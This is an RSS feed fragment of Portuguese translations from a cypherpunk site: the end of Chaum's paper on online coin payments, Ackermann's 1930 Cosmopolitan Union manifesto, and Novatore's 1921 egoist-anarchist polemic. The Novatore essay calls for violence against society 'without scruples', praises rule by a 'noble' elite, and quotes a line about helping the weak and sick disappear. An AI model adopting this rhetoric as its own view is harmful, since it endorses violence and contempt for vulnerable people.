&lt;p>Embora a combinação das duas subseções anteriores seja bastante viável, pode ser desejável que o pagador não tenha que revelar c à loja ou ao banco. A figura 4 mostra um sistema permitindo isso. A mensagem de pagamento é exatamente como no protocolo de valor de nota declarado acima, exceto que c não é enviado. O fator de proteção (mostrado novamente em uma trava) também é colocado sob a assinatura, mas falta o f extra e é elevado para uma potência aleatória z escolhida pelo banco&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;p>Se z fosse conhecido do pagador antes do pagamento, então o pagador poderia trapacear incluindo f (n) no terceiro componente; isso daria ao pagador a mudança máxima em todo o sistema, mesmo que nenhuma fosse devida. Considere um único expoente de mudança q. Se z mod q é adivinhado corretamente por um pagador de trapaça, então o pagador recebe indevidamente o valor da moeda correspondente. Assim, a chance de fazer batota bem sucedida é 1 / q. Se, no entanto, os divisores de h forem escolhidos suficientemente grandes, a segurança bastante prática pode ser alcançada. Quando as possibilidades de distribuição de troca e reembolso são incluídas, a privacidade desse esquema supera a de um sistema de moedas.&lt;/p>
&lt;h3 id="conclusão">Conclusão&lt;/h3>
&lt;p>A combinação de moedas on-line melhora a eficiência, o uso de fundos, a conveniência e a privacidade.&lt;/p>
&lt;h3 id="referências">Referências&lt;/h3>
&lt;ol>
&lt;li>
&lt;p>Chaum, D., &amp;ldquo;Privacy Protected Payments: Unconditional Payer and/or Payee Anonymity,&amp;rdquo; in Smart Card 2000, North-Holland, 1989, páginas 69-92. &lt;a href="#refC89-1">↩&lt;/a>
&lt;a href="#refC89-2">↩&lt;/a>
&lt;a href="#refC89-3">↩&lt;/a>
&lt;a href="#refC89-4">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Chaum, D., A. Fiat, &amp;amp; M. Naor, &amp;ldquo;Offline Electronic Cash,&amp;rdquo; Proceedings of Crypto &amp;lsquo;88. &lt;a href="#refCFN88">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;/ol></content:encoded></item><item><title>A União Cosmopolita</title><link>https://cypherpunks.com.br/documentos/a-uniao-cosmopolita/</link><pubDate>Wed, 01 Jan 1930 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/a-uniao-cosmopolita/</guid><description>Cosmopolitas são pessoas que voluntariamente rejeitam e renunciam sua posição como membros de um Estado</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner, baseado no texo traduzido do alemão para o inglês por John Zube
Revisado por: Matheus Bach
&lt;/code>&lt;/pre>&lt;p>&lt;strong>Nota de Vinicius Yaunner&lt;/strong>&lt;/p>
&lt;p>Esse texto é um resgate do relato de membros de um grupo anarquista alemão que participou do início do pensamento &lt;em>pan-anarquista&lt;/em>. O intuito do texto é mostrar um ponto de vista sobre a liberdade e o convívio pacifico de certos grupos anarquistas de movimentos distintos.&lt;/p>
&lt;p>&lt;strong>Nota de John Zube&lt;/strong>&lt;/p>
&lt;p>Esta é minha tradução aproximada do original alemão, um anúncio em uma revista alemã (Radikaler Geist), em 1930. Essa associação foi suprimida pelos nazistas antes que pudesse crescer para qualquer tamanho considerável.&lt;/p>
&lt;p>Eu conheço apenas três ex-membros.&lt;/p>
&lt;ol>
&lt;li>
&lt;p>&lt;em>Werner Ackermann&lt;/em>, que o assinou, mais tarde conseguiu escapar dos nazistas e foi, entre outras coisas, um escritor na África do Sul, ainda sob restrições consideráveis lá. Sua correspondência anterior com Ulrich von Beckerath, principalmente sobre os direitos das minorias, preencheu dois fichários de arquivos e está presumivelmente perdida. A parte de Beckerath foi queimada em um ataque aéreo em 1943.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;em>Ulrich von Beckerath&lt;/em>, 1882–1969, que, eu suspeito, ajudou muito neste rascunho. É muito parecido com o seu estilo de propor novas associações.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Meu pai, &lt;em>Kurt Zube&lt;/em>, 1905-1991.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Com a ascensão de Hitler ao poder, essa associação foi, naturalmente, dissolvida. Tinha cerca de 60 membros. Beckerath relatou que mesmo depois de ter existido por um tempo considerável, muitos membros ainda ficaram chocados quando foram levados a perceber que isso implicava um sistema judicial competitivo também. Eles haviam assumido automaticamente que um Estado territorial sempre existiria para lhes fornecer tais serviços - ou desserviços. Meu pai, presumivelmente, aprendeu a conhecer Ulrich von Beckerath nessa associação e sugeriu-me, em 1952, que lhe fizesse uma visita. Sim, e isso mudou muito minha vida e minhas idéias para melhor. Ele influenciou meu pensamento muito mais do que meu pai, qualquer escola, treinamento ou leitura em geral. Nunca conheci, ouvi falar ou li sobre outra pessoa que fosse tão cheia de ideias construtivas e corretas nas ciências sociais. Essa pode ter sido uma das principais razões pelas quais ele permaneceu amplamente desconhecido.&lt;/p>
&lt;h1 id="a-união-cosmopolita">A União Cosmopolita&lt;/h1>
&lt;h2 id="werner-ackermann">Werner Ackermann&lt;/h2>
&lt;p>A associação à União Cosmopolita é gratuita. Seus membros apóiam - sem qualquer obrigação pessoal - as seguintes demandas básicas da União Cosmopolita:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Todos têm o direito de se separar do Estado (compare: retirada de uma igreja).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Os cosmopolitas (pessoas que renunciaram voluntariamente à condição de membro do Estado) possuem o direito de migrar, se estabelecer e trabalhar em qualquer lugar.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>As pessoas que perderam a nacionalidade contra a sua vontade podem, por simples opção, tornar-se cosmopolitas ou membros de um Estado.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>O Estado reconhece como legítima a condição de não membro e reconhece Cosmopolitas como uma minoria internacional de acordo com o direito internacional moderno.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>O Estado respeita a independência de uma associação protetora para Cosmopolitas e reconhece seu direito de concluir tratados. Esta associação protetora pode abrir filiais com direitos consulares.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Os passaportes e documentos pessoais da Cosmopolitanas emitidos pela associação protetora aos seus membros registrados devem ser reconhecidos por todos os departamentos de Estado.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Em caso de guerra, os cosmopolitas devem ser considerados estrangeiros neutros. O Estado não tem nem em paz nem em tempos de guerra o direito de infringir a liberdade e os direitos de propriedade dos Cosmopolitas. Os cosmopolitas não podem ser forçados a servir nas forças armadas ou nos serviços auxiliares de guerra de um Estado, para contribuir para os impostos de guerra ou outras despesas relacionadas com o esforço de guerra.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Ninguém pode ser coagido de qualquer forma e sob qualquer pretexto para reter sua nacionalidade, nem mesmo em tempo de guerra.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>O Estado respeita a independência das associações cosmopolitas benevolentes e de benefício mútuo, como centros de bem-estar, seguradoras, instituições bancárias, associações de proteção jurídica, arquivos, instituições de ensino e formação, hospitais, lares para idosos, etc. O Estado não obriga a quaisquer instituições ou serviços para Cosmopolitas que os Cosmopolitas estão dispostos e são capazes de fornecer a si próprios ou que não desejam.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>O Estado investigará outras demandas decorrentes dos princípios fundamentais da União Cosmopolita acima. A pedido de sua associação protetora, ele entrará em negociações sobre uma extensão dos tratados celebrados entre eles. Os regulamentos relativos à aplicação detalhada dos princípios acima, incluindo regras para o período de transição, serão elaborados entre o Estado e a União Cosmopolita.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Fonte: &lt;a href="http://panarchy.org/ackermann/cosmopolitan.html" target="_blank" rel="noopener noreferrer">The Cosmopolitan Union - Werner Ackermann&lt;/a>
&lt;/p></content:encoded></item><item><title>A Revolta do Único</title><link>https://cypherpunks.com.br/documentos/a-revolta-do-unico/</link><pubDate>Sat, 01 Jan 1921 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/a-revolta-do-unico/</guid><description>Eu não quero impor máximas morais ao meu “próximo”, nem ensinar nada a ninguém... Deixo essa tarefa para os missionários de todas as religiões, os padres de todas as igrejas, os demagogos de todas as partes, os apóstolos de todas as idéias.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner, baseado na tradução do italiano pro inglês de Andy Carloff
Revisado por: K3ybladeWielder
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>Para o camarada Carlo Molaschi com força de espírito e serenidade de pensamento&lt;/p>
&lt;h1 id="i">I&lt;/h1>
&lt;p>&lt;/p>
&lt;p>Eu não quero impor máximas morais ao meu “próximo”, nem ensinar nada a ninguém&amp;hellip; Deixo essa tarefa para os missionários de todas as religiões, os padres de todas as igrejas, os demagogos de todas as partes, os apóstolos de todas as idéias.&lt;/p>
&lt;p>Eu só quero uivar minha rebelião extrema contra tudo que me oprime; só quero afastar de mim tudo o que o sacerdócio religioso, socialista ou libertário quer impor à minha individualidade sem que eu tenha aceitado e desejado livremente.&lt;/p>
&lt;p>Cavando no subterrâneo de minhas profundezas, fui capaz de penetrar no mistério do meu “eu” (emocional - espiritual - físico - instintivo). Pude descobrir minha vontade e meu poder; pude tomar posse da minha &amp;ldquo;singularidade&amp;rdquo;.&lt;/p>
&lt;p>Os sapos dogmáticos do societarismo e os gansos do ideal coaxaram, mas seu coaxar serviu apenas para encher meu coração de embriaguez e destilar venenos em minhas palavras.&lt;/p>
&lt;p>A tagarelice teórica e filosófica da “sabedoria” plebéia dominante não me comove mais, assim como as demonstrações coreográficas de turbas famintas ou de pessoas que aplaudem novos Jesuses redentores não me comovem mais&amp;hellip;&lt;/p>
&lt;p>Eu tenho uma verdade pessoal própria que não é e não pode ser uma &amp;ldquo;verdade&amp;rdquo; universal. Sou guiado por um instinto, por um sentimento, por um sonho, que são apenas a trilogia que compõe o ideal único que é a minha individualidade. Individualidade que ninguém exceto eu e meu poder pode tornar forte, livre e feliz!&lt;/p>
&lt;p>Não nego a ninguém a beleza de suas idéias, a força de seus sonhos e a verdade de seus pensamentos.&lt;/p>
&lt;p>Sei que cada um pode trancar dentro de si minas preciosas cheias de tesouros desconhecidos. Sei que onde mora um ser humano existe - ou pode haver - um mundo com todas as suas terras e mares, suas alegrias e tristezas, seu sol e estrelas, seus amores e ódios.&lt;/p>
&lt;p>Que cada ser humano trabalhe - se assim o pensa - na descoberta do seu próprio eu, na realização do seu sonho, na integração completa e no desenvolvimento pleno da sua individualidade. Todo ser humano que se descobriu e se conquistou percorre seu próprio caminho e segue seu curso livre.&lt;/p>
&lt;p>Mas não deixe ninguém vir a mim para impor sua crença, sua vontade, sua fé em mim. Ao negar deus, pátria, autoridade e lei, eu alcancei o anarquismo. Recusando me sacrificar no altar do povo e da humanidade, alcancei o individualismo.&lt;/p>
&lt;p>Agora sou livre&amp;hellip;&lt;/p>
&lt;p>A guerra que abri contra os fantasmas terminou com a minha vitória. Agora o ciclo de uma nova guerra se abriu!&lt;/p>
&lt;p>A guerra contra a força bruta da sociedade, das pessoas, da humanidade. Contra estes terríveis e colossais monstros que não se envergonham de ousar agir contra a força única e brutal de seus mil braços monstruosos, “autorizo-me” a defender-me com todas as armas que me seja possível, ousar usar com todos aqueles meios de que tenho o poder e a capacidade de utilizar. Sem escrúpulos!&lt;/p>
&lt;p>Porque eu sou aquele que realmente segue a si mesmo!&lt;/p>
&lt;p>Cultivo as flores do meu jardim e mato a sede nas minhas próprias fontes. Se para você minhas flores são venenosas e minhas águas amargas, para mim elas enchem o coração de uma alegria feroz e me dão aljavas selvagens e heróicas na carne e no espírito.&lt;/p>
&lt;p>Quando penso nas reivindicações de missionários e professores, de moralistas e educadores tenho vontade de rir.&lt;/p>
&lt;p>&lt;em>Você é totalmente absurdo, oh alma perdida. Você é um pobre lunático que vive na moral (?). Você é um exagero; você anda por um caminho falso e errado. Sua ‘moral’ é feroz, seu princípio é ‘cruel’! ” Então, mais ou menos, os conhecedores &amp;ldquo;sábios&amp;rdquo; da felicidade universal querem falar comigo, os tolos gaguejantes do &amp;ldquo;bem&amp;rdquo; e do &amp;ldquo;mal&amp;rdquo;, aqueles que descobriram a &amp;ldquo;verdade&amp;rdquo; e enterraram &amp;ldquo;mentiras&amp;rdquo;&amp;hellip;&lt;/em>&lt;/p>
&lt;p>&lt;em>Agora deus está morto, dizem eles, a pátria está destruída, a autoridade ruiu. Avante, em todos os lugares, jovens, pela proletária internacional, pela alegria de conhecer a felicidade universal. E qualquer um que não morrer por esta ‘causa sagrada’ é um feroz ‘egoísta’, uma pessoa ‘perversa’, um ‘traidor’! Parece que querem dizer, ou melhor, dizem: O ser humano não conta; a ideia conta; A humanidade conta!&lt;/em>&lt;/p>
&lt;p>E eu, pobre inseto microscópico, pobre célula impotente doente com o &amp;ldquo;egoísmo feroz&amp;rdquo; de Stirner - para não mencionar infectado pela arrogante superumania zaratustriana - sou algo menos do que nada, uma partícula invisível que não tem uso algum exceto como matéria-prima colocada no disposição dos grandes arquitetos do universo; exceto como uma besta de sacrifício para dar em matança de fogo à deusa &amp;ldquo;humanidade&amp;rdquo;, ao deus &amp;ldquo;povo&amp;rdquo; ou ao Sol do futuro&amp;hellip;&lt;/p>
&lt;h1 id="ii">II&lt;/h1>
&lt;p>O camarada Carlo Molaschi pensará: mas de que serve todo esse sermão de Renzo Novatore, feito como prelúdio de um polêmico escrito a mim dedicado?&lt;/p>
&lt;p>Eu também não sei dessas coisas?&lt;/p>
&lt;p>Não são também coisas antigas da Terra e do Sol?&lt;/p>
&lt;p>Mas ele acrescentará: &lt;em>A corrente individualista do anarquismo ameaçou - e talvez ainda ameace - degenerar no absurdo (?). Stirner, com seu evangelho de egoísmo feroz, tentou massacrar o sentimento humano no indivíduo; e o egoísmo presunçoso do sobre-humano levou muitos camaradas à adoração de seu próprio eu.&lt;/em>&lt;/p>
&lt;p>&lt;em>E ele continua: Mas o individualismo anarquista não deveria (preste atenção ao “não deveria”: eu sou aquele que o enfatizou) nem a ferocidade do Único, nem a arrogância de Zaratustra.&lt;/em>&lt;/p>
&lt;p>&lt;em>Ajuda mútua, solidariedade e amor são necessidades da vida!&lt;/em>&lt;/p>
&lt;p>Vamos deixar de lado por um momento o &amp;ldquo;egoísmo feroz do Único de Stirner&amp;rdquo; que é tão cruelmente feroz a ponto de afirmar que ele é apenas &amp;ldquo;hostil&amp;rdquo; a tudo o que é &amp;ldquo;escuro&amp;rdquo;. Vamos deixar de lado por enquanto aquele cínico “matador do sentimento humano” (digo libertador do sentimento humano) que disse: “Meu egoísmo não se opõe ao amor, não é inimigo do sacrifício e da abnegação &amp;hellip; e nem mesmo do o socialismo, em suma, não é o inimigo dos interesses reais, e se rebela não contra o amor, mas contra o amor sagrado, não contra o pensamento, mas contra o pensamento sagrado, não contra o socialismo, mas contra o socialismo sagrado. ”[1] Mas - como eu disse - deixemos de lado por um momento este terrível “matador de sentimento humano” e com ele deixemos também de lado aquele “Zaratustra arrogante e presunçoso” ou, para ser mais preciso, Friedrich Nietzsche; aquele cruel Friedrich Nietzsche, que é sem dúvida o mais alto bardo da humanidade, e o mais forte e profundo - e vamos a nós mesmos.&lt;/p>
&lt;p>Portanto, aquele “não deveria” que observei anteriormente começa a significar que o individualismo DEVE ser o que ele - Carlo Molaschi - prega!&lt;/p>
&lt;p>E quando ele diz: “Ajuda mútua, fraternidade, amor são necessidades da vida!” (ele disse uma vez - veja à revista &lt;em>Libertà&lt;/em>, # 7, de 1 de novembro de 1913: “Eu desprezo a solidariedade, me sinto um estranho para a humanidade”), eu respondo que embora admita que elas são uma necessidade, elas não são e não pode ser “uma realidade”! Digo isso da realidade universal e particular.&lt;/p>
&lt;p>A realidade é ódio, inimizade, guerra! Carlo Molaschi responderá: é preciso esmagar essa realidade; uma vez ele disse (veja a escrita de seu citado acima): &lt;em>Não tenho necessidade de acreditar ou esperar em qualquer paraíso, ou de me iludir que minha existência tem que cooperar para abrir caminho para o progresso humano&lt;/em>; mas que Judas venha criar a outra “realidade” que é necessária aqui! E ainda aceitamos isso também &amp;hellip; mas por centenas de séculos, os profetas anunciaram essa nova “realidade”, mártires caíram, rebeldes morreram, heróis subiram na guilhotina, mas a cada dia que passa, o ódio inundações mais fortes em todo o mundo, a mania de autoridade aumenta assustadoramente em cada coração humano, as guerras se multiplicam e as &amp;ldquo;massas&amp;rdquo;, as &amp;ldquo;multidões&amp;rdquo;, os &amp;ldquo;proletários&amp;rdquo; - apesar das aparências ilusórias - tornam-se cada vez mais cansados, cada vez mais covardes , cada vez mais covarde.&lt;/p>
&lt;p>Dirá Molaschi (ver “Nós e a Missa” no número 9 do &lt;em>Nichilismo&lt;/em>, 24 de agosto de 1920): “Nós próprios somos filhos do povo (que pai maravilhoso!), Sentimos o próprio sofrimento da missa”; ele disse uma vez (ver &lt;em>Libertà&lt;/em> citado acima): “Vivo entre seres humanos que me parecem semelhantes; mas eu não sou como eles. Eles são refinados ou insatisfeitos; Sou inquieto, atento às rédeas da lei ”; e ele sofre sob o jugo de um hábito.&lt;/p>
&lt;p>Mas eu respondo: o sonho dos trabalhadores não é o meu sonho. As saudades das pessoas não são as minhas saudades, as dores da massa não são as minhas!&lt;/p>
&lt;p>Sinto a dor da minha profundidade e a amargura do que me é impossível!&lt;/p>
&lt;p>Uma casca de pão preto é suficiente para satisfazer a massa, mas meus desejos não podem ser satisfeitos!&lt;/p>
&lt;p>É verdade que Carlo Molaschi banha alegremente as mãos e diz: &lt;em>A União Sindicalista Italiana é fortemente influenciada pelas nossas ideias, muitos dos seus porta-vozes são nossos camaradas, temos um jornal diário de importância nacional lido por mais de trinta e cinco mil pessoas &amp;hellip; Ele disse uma vez (ver Il Ribelle edição 6,&lt;/em> 2 de janeiro de 1915): &lt;em>Os anarquistas têm estado e estão muito preocupados com o proselitismo. Conferências e documentos sobre propaganda, apenas para convencer idiotas que nunca souberam e nunca saberão como &amp;ldquo;sentir&amp;rdquo; qualquer ideal de se chamarem anarquistas.&lt;/em>&lt;/p>
&lt;p>— Mas eu ainda dou risadas com ceticismo desses novos entusiasmos Molaschianos, pois uma vez ele riu ceticamente quando afirmou que &amp;ldquo;anarquistas nascem e não são feitos&amp;rdquo; e que ele não ligava a mínima para o &amp;ldquo;futuro&amp;rdquo;, já que ele era &amp;ldquo;livre&amp;rdquo; por ter feito para si mesmo o &amp;ldquo;propósito de sua vida&amp;rdquo;.&lt;/p>
&lt;p>Carlo Molaschi afirma (veja o comentário que fez ao texto de Vivani “I Will Be Pure”, publicado no número 5 de &lt;em>Pagine Libertarie&lt;/em>): “&amp;hellip; o ser humano é livre na medida em que vive em harmonia com a natureza e com o seus gostos. ” Ele disse uma vez (citando aquele “homem de gênio” “arrogante e presunçoso” que então tinha “ideias como as dele”): “Os fracos e enfermos morrem. Primeiro princípio do nosso amor pelo ser humano. Precisamos antes ajudá-los a desaparecer. ”&lt;/p>
&lt;p>Mas não posso viver em harmonia “universal” com meus “gostos” pela simples razão de que eles não são &amp;hellip; e não podem ser - pelo motivo que já delineei no prelúdio desta minha obra - meus “gostos. ”&lt;/p>
&lt;p>Meus gostos são poucos no sentido relativo e nenhum no sentido absoluto. Assim, com os poucos que são como eu no sentido “relativo”, continuo de acordo contra a multidão; no sentido absoluto, permaneço sozinho - Único - contra eles e os outros. Eles se tornam, por sua vez, os “fracos” e os “enfermos” para mim!&lt;/p>
&lt;p>Mas agora pareço ter vagado longe o suficiente.&lt;/p>
&lt;p>Então vamos parar!&lt;/p>
&lt;p>Carlo Molaschi sorrirá ironicamente e dirá: &lt;em>Aquele belo demônio Renzo Novatore colocou meus antigos artigos para escrutínio para mostrar minhas contradições, mas ao fazer isso ele não consegue fazer nada além de “mostrar” quanta ignorância ainda guarda em sua mente . Ele ignora as leis&amp;hellip; da evolução!&lt;/em>&lt;/p>
&lt;p>Bem, não, camarada Molaschi, não foi por pura e simples ignorância que fiz tudo isso. Não!&lt;/p>
&lt;p>Eu fiz isso por outra razão&amp;hellip;&lt;/p>
&lt;p>Eu sei o que eu queria notar em você, você poderia - pelo menos no sentido inverso - notar em mim mesmo e em todos aqueles que não são fósseis cristalizados.&lt;/p>
&lt;p>Mas fiz isso apenas para mostrar que é, no mínimo, ridículo afirmar que o individualismo “deveria” ser de Tucker e não de Stirner. “Deveria” ser isso e “não deveria” ser aquilo!&lt;/p>
&lt;p>No que diz respeito ao conceito negador do anarquismo, caminhamos juntos; quando o anarquismo se torna individualista, cada individualidade segue seu próprio caminho. Sim, os seres humanos evoluem!&lt;/p>
&lt;p>&lt;em>Aos dezoito anos de idade, quando a experiência é zero e a mente fica excitada com a leitura de livros mal compreendidos, pode-se - às vezes - assumir a aparência ameaçadora do sobre-humano; mas depois, quando a experiência começa a analisar a vida, então a pessoa evolui&amp;hellip;&lt;/em>&lt;/p>
&lt;p>E ao evoluir, nega-se agora tudo o que se afirmou ontem!&lt;/p>
&lt;p>E tudo bem.&lt;/p>
&lt;p>Mas ninguém tem a “obrigação” ou o “dever” de seguir o único caminho da nossa evolução&amp;hellip; Ou devolução!&lt;/p>
&lt;p>Porque quem acompanhou a evolução de Giovanni Papini teria acabado na igreja com ele; quem seguiu Libero Tancredi acaba no intervencionismo e no fascismo; quem segue Renzo Novatore pode um dia acabar com ele em um asilo para lunáticos - talvez um “comunista libertário”. E alguém que seguiria Carlo Molaschi pode acabar - como posso dizer? - como Carlo Molaschi vai acabar!&lt;/p>
&lt;p>E por isso, meu amigo, sou contra aquele “deveria” que você, na minha opinião, ainda pronuncia com tanta facilidade&amp;hellip;&lt;/p>
&lt;p>Você vê? Se devo dizer alguma coisa a esses “gostos” - que não são meus gostos - especialmente aos mais jovens - direi a eles: Cuidado, ó jovens espíritos! Cuidado com as velhas sereias! Os velhos têm ideias que não podem ser as dos jovens. Portanto, busque novamente seus eus rejeitados. Descubra você mesmo. Não se deixem ser violados! O velho Tolstoi é uma figura majestosa, inabalável e gigantesca. Mas eu teria pena de qualquer jovem que professasse as idéias deste velho!&lt;/p>
&lt;p>Antes de vir para o cristianismo, Papini passou por todas as rebeliões. Então cansado, exausto, acabado, ele se jogou no leito da fraqueza, da impotência, da senilidade. Ele se lançou sobre o seio de “nossa igreja mãe”!&lt;/p>
&lt;p>Descubram-se, jovens! Mergulhe em si mesmo. Em cada um de vocês deve haver minas preciosas de tesouros desconhecidos. Mas se ao cavar em seu eu você não encontrar nada, não procure nada em ninguém. As joias mais reais e preciosas se transmutariam em pedras falsas em suas mãos. Porque “os anarquistas nascem e não são feitos”, como disse uma vez o camarada Molaschi&amp;hellip;.&lt;/p>
&lt;h1 id="iii">III&lt;/h1>
&lt;p>“A perspectiva anti-sociedade que tentou há vários anos fazer incursões no movimento das ideias anarquistas”, diz Molaschi, “desapareceu”.&lt;/p>
&lt;p>Mas tudo isso que o camarada Carlo Molaschi afirma não é inteiramente verdade&amp;hellip;&lt;/p>
&lt;p>É verdade que com o jornal &lt;em>Umanità Nova&lt;/em>, as conferências, os sindicatos, o obreirismo, as organizações, o anarquismo acabou se oficializando e se tornando um partido.&lt;/p>
&lt;p>É verdade que o camarada Carlo Molaschi sente uma grande “alegria” por se encontrar de acordo com o camarada Damiani; que está “satisfeito” por estar de acordo com Luigi Fabbri e que “compartilha” as ideias de Malatesta.&lt;/p>
&lt;p>É verdade que Carlo Molaschi quer deixar uma marca, “orientando” o individualismo à sua maneira!&lt;/p>
&lt;p>Mas ainda não é verdade que a corrente &amp;ldquo;anti-sociedade&amp;rdquo; do individualismo desapareceu completamente no paraíso da anarquia.&lt;/p>
&lt;p>Ainda há algum réprobo “selvagem”, em meio a tanta domesticidade democrática paternal, que segura a bandeira “bárbara” do individualismo anti-sociedade!&lt;/p>
&lt;p>Sim, ainda há alguém&amp;hellip;&lt;/p>
&lt;h1 id="iv">IV&lt;/h1>
&lt;p>Em primeiro lugar, precisamos chegar a um acordo sobre o que significa “anti-sociedade”.&lt;/p>
&lt;p>Eu não sou um misantropo e muito menos um misógino&amp;hellip;&lt;/p>
&lt;p>Preciso de amigos e amores, roupas e pão. Não sou anacoreta nem santo no deserto.&lt;/p>
&lt;p>Mas não há necessidade de haver tal coisa para ser anti-sociedade. Ser anti-sociedade significa - para mim - não colaborar na preservação da sociedade atual nem emprestar seus esforços para qualquer nova construção social.&lt;/p>
&lt;p>Já disse uma vez:&lt;/p>
&lt;p>&lt;em>Cada sociedade que você construir terá suas franjas, e nas franjas de cada sociedade, vagabundos heróicos e inquietos vagarão, com seus pensamentos selvagens e virgens, apenas capazes de viver preparando sempre novos e terríveis surtos de rebelião!&lt;/em>&lt;/p>
&lt;p>&lt;em>Eu estarei entre eles!&lt;/em>&lt;/p>
&lt;p>E se as &amp;ldquo;necessidades&amp;rdquo; materialistas me forçam a ir em direção à sociedade, a &amp;ldquo;necessidade&amp;rdquo; de ser livre me coloca contra ela e dá origem em mim a uma terceira &amp;ldquo;necessidade&amp;rdquo;. O de fazer violência contra ele. Sem escrúpulos!&lt;/p>
&lt;p>Esta é a minha perspectiva “anti-sociedade”. E se falássemos do chamado “progresso” eu poderia até afirmar - sem medo de errar - que o triunfo e a glória do caminho humano se devem apenas ao espírito que informa este princípio anti-sociedade do individualismo.&lt;/p>
&lt;h1 id="v">V&lt;/h1>
&lt;p>Carlo Molaschi que se lançou com fúria contra o sobre-humano para jogá-lo no mar e contra a “associação de egoístas” de Stirner para fazê-lo sofrer o mesmo fim; agora ele proclama com o impulso de fé a &amp;ldquo;associação dos livres&amp;rdquo; de B. R. Tucker, porque - ele diz - &amp;ldquo;Tucker em seu projeto de associação dos livres permite que as minorias, quando não concordam com as maiorias, podem se dividir (oh , estranho milagre! &amp;hellip;) da associação e criar outro próprio. ”&lt;/p>
&lt;p>Mas aposto que Carlo Molaschi sabe muito melhor do que eu o que “pode” ser - ou melhor - o que “está” escondido nisso: “quando eles não concordam”!&lt;/p>
&lt;p>Sim, Molaschi sabe!&lt;/p>
&lt;h1 id="vi">VI&lt;/h1>
&lt;p>A palavra “liberdade” tomada em si mesma é uma negação: nada - morte!&lt;/p>
&lt;p>A liberdade é uma propulsão para o poder - é a força de conquista e a capacidade de posse.&lt;/p>
&lt;p>(Tive a capacidade de me libertar daquele meu velho amor cansativo; porque tinha a capacidade e o poder, tomei a liberdade de colher esta nova flor).&lt;/p>
&lt;p>Viver significa fazer o bem e o mal aos outros. Ninguém pode viver sem machucar ninguém&amp;hellip;.&lt;/p>
&lt;p>Viver significa: dominar e ser dominado!&lt;/p>
&lt;p>Com a compreensão do desagradável comunismo autoritário dos socialistas, os governantes seriam um punhado de demagogos, insetos vulgares e astutos; escravos plebeus por sua vez de um dogma.&lt;/p>
&lt;p>Ao realizar o comunismo libertário, a grande maioria seria a Deusa governante. Mas o comunismo libertário (que é o sonho daqueles que odeiam o conflito e a batalha - que é a juventude e a vida - e para o qual eles são, no entanto, uma contradição rápida, estranha e paradoxal, para fazer guerra em nome da igualdade e da paz) teria que aceitar medidas extremas contra quem quer se manifestar, avançar, erguer-se para uma afirmação mais ampla da vida individual.&lt;/p>
&lt;p>O comunismo libertário seria então forçado a reprimir para se preservar. Mas sua preservação materialista seria a negação categórica do próprio espírito que o informa e exalta!&lt;/p>
&lt;p>E aqui estamos nós, finalmente, na anarquia - admito que se possa falar disso como uma realização social da vida humana juntos. “Anarquia” seria, portanto, nada mais nada menos do que o triunfo do “tipo” superior.&lt;/p>
&lt;p>Desapareceu radicalmente - porque mesmo o mais humilde de todos os seres humanos teria que ir além disso - o direito tão estúpido quanto vulgar à propriedade privada e tudo o que é &amp;ldquo;bem material&amp;rdquo;. O dominador espiritual permanece - aquele que é nobre por natureza. Ele estará acima dos outros e os dominará.&lt;/p>
&lt;p>(Ninguém, creio eu, teria a falsa pretensão de nivelar valores éticos, estéticos, artísticos, intelectuais e espirituais, como os valores físicos e sexuais). Porque o nobre, mesmo na Anarquia - ou melhor, na anarquia mais do que em qualquer outra forma de vida humana junto - gozará de prazer que os outros não seriam capazes de desfrutar, mesmo que ele, por amor a eles, quisesse renunciar a eles . A anarquia é, portanto, a autocracia natural dos nobres.&lt;/p>
&lt;p>Um teste simples de que milhares de outros complicados são iguais a ele ali. Ontem uma jovem se ofereceu - presente maravilhoso - ao encantador e nobre dominador Pietro Gori.&lt;/p>
&lt;p>Hoje, nos redemoinhos da miséria, se um menino atrofiado do &amp;ldquo;papai&amp;rdquo; que a natureza condenou a comprou! Ele gozou com dinheiro o fruto que na Anarquia jamais teria podido gozar. E não posso mais argumentar que na anarquia um sapateiro é igual a um gênio ou que um corcunda é igual a um Adônis.&lt;/p>
&lt;p>Podemos dar aos dois o mesmo pão, mas não os mesmos prazeres.&lt;/p>
&lt;p>E se é verdade que a amizade e o amor dão alegria e prazer, gostaria apenas de perguntar a qualquer anarquista se pode dar ao seu velho porteiro semi-idiota o que, de fato, ele dá a Errico Malatesta no amor e na amizade.&lt;/p>
&lt;p>Eu gostaria apenas de perguntar a algumas de nossas camaradas mulheres livres e inteligentes se elas podem dar a qualquer “camarada” desagradável, presunçosa, vaidosa, ambiciosa o que elas concedem de bom grado a um camarada gentil, culto, amoroso, bom&amp;hellip;&lt;/p>
&lt;p>Repito: Anarquia - para mim - significa: Autocracia da beleza, do gênio, da arte e de todos aqueles que possuem as qualidades obstinadas e seletivas adequadas para dominar e que a mãe natureza - justa ou injustamente - concede e esbanja generosamente em um poucos, enquanto elas os nega a muitos, como se estes fossem seus filhos bastardos!&lt;/p>
&lt;p>E se o sobre-humano que você - oh camarada Molaschi - lançou com fúria implacável nas ondas tempestuosas do mar, fosse aquele eleito - superior - tipo a que acabei de aludir, é suficiente que ele se levante novamente das águas mais bela e mais forte do que antes, já que essa raça é uma raça imortal.&lt;/p>
